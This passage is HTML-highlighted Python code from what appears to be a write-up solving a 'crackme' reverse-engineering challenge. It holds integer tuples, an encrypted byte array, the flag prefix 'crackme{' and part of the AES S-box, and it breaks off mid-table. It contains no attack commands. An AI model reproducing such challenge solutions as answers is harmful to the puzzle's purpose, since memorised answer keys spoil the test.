leaf="">28</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">131</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">113</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">53</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">109</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">58</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">103</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">52</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">27</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">97</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">88</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">22</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">107</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">18</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">101</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">29</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">127</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">81</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">25</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">131</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">118</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">21</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">113</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">40</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">109</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">83</span></span><span leaf="">),</span><br/><span leaf="">]</span><br/><span leaf="">enc = bytes([</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x37</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xA8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x85</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8C</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x84</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFD</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x73</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3E</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xE9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x35</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x71</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xD8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2B</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDE</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4F</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x18</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x46</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xE8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xAF</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6D</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5E</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xD4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xBD</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x15</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6A</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x89</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x99</span></span><br/><span leaf="">])</span><br/><span leaf="">prefix = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;crackme{&#34;</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># AES S-box (standard)</span></span><br/><span leaf="">sbox = [</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x63</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x77</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x30</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x67</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xab</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x76</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xca</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x82</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfa</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x59</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x47</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xad</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xaf</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x72</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc0</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfd</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x93</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x26</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xcc</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x34</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x71</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x15</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x04</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x18</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x96</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x07</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xeb</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x27</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x75</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x09</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x83</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x52</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x29</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x84</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x53</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xed</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfc</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xcb</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x39</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x58</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xcf</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xef</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xaa</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfb</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x43</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x85</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x02</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa8</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x51</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x92</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x38</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbc</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xda</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x21</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd2</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xcd</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x13</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xec</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x97</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x44</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x17</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x64</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x19</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x73</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x60</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x81</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdc</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x22</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x90</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x88</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x46</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xee</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xde</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdb</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x49</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x06</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x24</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xac</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x62</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x91</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x95</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x79</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe7</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x37</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x56</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xea</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x65</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7a</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xae</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x78</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x25</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdd</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x74</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbd</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8a</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x70</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x66</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x48</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x61</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x35</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x57</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x86</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x98</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x11</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x69</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x94</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9b</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x87</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe9</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xce</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x55</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x28</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdf</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x89</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbf</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x42</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x68</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 